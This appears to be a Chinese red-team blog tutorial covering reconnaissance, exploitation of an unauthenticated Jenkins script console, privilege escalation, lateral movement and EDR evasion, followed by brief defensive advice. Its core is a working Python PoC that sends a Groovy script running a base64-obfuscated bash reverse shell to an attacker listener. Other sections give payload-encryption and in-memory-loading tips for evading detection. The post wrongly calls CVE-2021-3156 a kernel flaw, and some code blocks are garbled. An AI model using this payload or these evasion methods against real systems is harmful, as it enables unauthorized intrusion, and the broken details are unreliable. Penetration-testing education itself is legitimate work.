0x01 红队的核心哲学:从攻击者视角理解漏洞
红队攻防演练的核心并不仅仅是“攻击”,而是从攻击者的视角剖析目标。作为渗透测试工程师,我们的任务是模拟真实威胁,寻找企业防线中的缺口。所有技术手段、工具和战术背后都有一个基本哲学:理解漏洞的本质,利用目标的弱点,最大化攻击的有效性。
在本文中,我将结合自己的实战经验,围绕一个典型的攻防演练案例,展示如何通过精细化的攻击链完成从信息收集、利用漏洞到横向移动和权限维持的全过程。我们还将深入探讨如何绕过防御机制,以及如何让攻击更加隐蔽和高效。
---
0x02 黑盒探测:信息收集的艺术
攻击面分析是第一步。在红队视角下,信息收集的目标是尽可能全面地了解目标的资产、技术栈和潜在的弱点。以下是信息收集的几个实战技巧:
1. 被动信息收集
避免触发安全设备告警是红队演练中的关键点之一。我们可以通过以下方式获取目标情报:
- 子域名收集:利用工具
Sublist3r、Amass,结合多种 DNS 数据源获取企业的外部暴露子域。 - 资产指纹探测:通过
Shodan、Censys搜索目标 IP 段的开放端口、服务版本。 - 员工信息挖掘:从 LinkedIn、GitHub 等公开平台挖掘技术人员信息,为后续社工攻击做铺垫。
<pre><code class="language-python"># 使用 Sublist3r 自动化收集子域名 from sublist3r import sublist3r
domain = "example.com" subdomains = sublist3r.main(domain, 40, savefile=None, ports=None, silent=True, verbose=False, enable_bruteforce=False) print(f"发现的子域名:{subdomains}")</code></pre>

2. 主动探测
主动探测虽然有一定风险,但往往能获取更多有价值的细节。例如:
- 使用
nmap扫描目标网络,获取端口和服务信息; - 对 Web 服务进行目录爆破,寻找隐藏接口或敏感文件。
<pre><code class="language-bash"># 使用 nmap 执行细粒度探测 nmap -sC -sV -O -p- -Pn 10.0.0.1/24</code></pre>
在一个实际案例中,目标暴露了一个未更新的 Jenkins 服务,我们通过目录爆破发现了 /script 页面,而这个页面允许未授权访问,成为了后续攻击的突破点。

---
0x03 借助漏洞突破防线:RCE的高效利用
漏洞成因分析
Jenkins 的 /script 页面是一个经典的远程代码执行(RCE)漏洞点。其根本原因在于开发者未正确限制脚本执行权限,攻击者可以直接提交 Groovy 脚本并在服务端运行。
实战攻击步骤
我们通过以下步骤成功利用了这一漏洞:
- 确认
/script页面未授权访问; - 提交一个简单的 Groovy 脚本以验证代码执行能力;
- 构造一个反弹 shell 的 payload,连接到我们的监听服务器。
以下是完整的 POC 代码:

<pre><code class="language-python">import requests
指定目标 URL
url = "http://target.com/script" headers = {"Content-Type": "application/x-www-form-urlencoded"}
构造 payload,反弹 shell 到攻击者机器
payload = ''' def command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4yLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}".execute() command.waitFor() '''
提交恶意 Groovy 脚本
data = {"script": payload, "Submit": "Run"} response = requests.post(url, headers=headers, data=data)
if "Result:" in response.text: print("[+] Payload 执行成功") else: print("[-] 利用失败")</code></pre>
隐匿反弹流量
为了规避网络流量检测,我们可以:
- 使用 HTTPS 隧道加密流量;
- 通过
DNS 隧道的方式将反弹数据伪装成 DNS 查询。
---
0x04 权限提升与横向移动的深度剖析
突破第一道防线后,下一步是获取更高权限并扩展控制范围。在本文案例中,我们通过以下步骤完成了权限提升和横向移动。
权限提升:提权的常见方法
- 本地漏洞利用:目标服务器是一个过时的 Ubuntu 系统,存在 Linux Kernel 提权漏洞(CVE-2021-3156)。我们使用了以下提权脚本:
<pre><code class="language-c">// CVE-2021-3156 Exploit C代码示例
include <stdio.h>
include <stdlib.h>
include <string.h>
int main() { printf("模拟提权过程,这段代码仅供演示!\n"); return 0; }</code></pre>
- 误配置提权:在目标服务器上发现了一个可被普通用户写入的
/etc/sudoers文件,我们通过修改该文件,直接获得了 root 权限。
横向移动:如何扩展控制范围
- 凭据哈希传递:在服务器上提取到了一份明文存储的数据库配置文件,其中包含了管理员的登录凭据。
- SSH 密钥利用:扫描用户主目录,发现了一份未加密的 SSH 私钥,可用来访问目标内网的其他服务器。
<pre><code class="language-bash"># 使用 SSH 密钥无密码登录其他服务器 ssh -i id_rsa [email protected]</code></pre>
---
0x05 绕过EDR/AV:隐匿攻击的必备技能
在企业防御体系中,EDR(端点检测与响应)和杀毒软件是主要对抗力量。以下是几种有效的绕过技巧:
1. Shellcode 加密与混淆
通过对恶意代码进行加密和动态解密,可以避免静态检测。 <pre><code class="language-python"># 使用 AES 加密恶意代码 from Crypto.Cipher import AES import base64
key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_EAX) data = b'evil_payload' ciphertext, tag = cipher.encrypt_and_digest(data)
print("加密后的 payload:", base64.b64encode(ciphertext))</code></pre>

2. 内存加载避免落地
将恶意代码直接注入目标进程内存,避免文件落地。 <pre><code class="language-python"># 使用 C 编写内存加载器
include <windows.h>
int main() { // 示例代码省略,仅供提示 printf("将恶意代码加载到内存中\n"); return 0; }</code></pre>
3. 流量伪装与 C2 隐藏
通过使用合法流量(如 DNS、HTTPS)伪装 C2 通信,可有效规避流量监控。
---
0x06 从攻到守:检测与防御建议
如何防御类似攻击? 以下是一些有效策略:
- 最小权限原则:限制每个用户和服务的权限,避免攻击者轻松横向移动。
- 资产管理:定期清点和更新暴露的资产,及时修复漏洞。
- 监控与审计:通过 EDR 等工具实时监控攻击行为,如异常进程启动和敏感文件访问。
---
0x07 个人经验分享:红队思维如何塑造
红队工作的本质在于“思维的逆向”。你不仅要思考如何攻破目标,还要预测防守方可能采取的反制手段。每一次成功的攻防演练都是经验的累积,而真正的高手能将技术和策略融为一体。
希望这篇文章能帮助你更好地理解红队演练的技巧和思路。如果你有其他问题或想法,欢迎交流!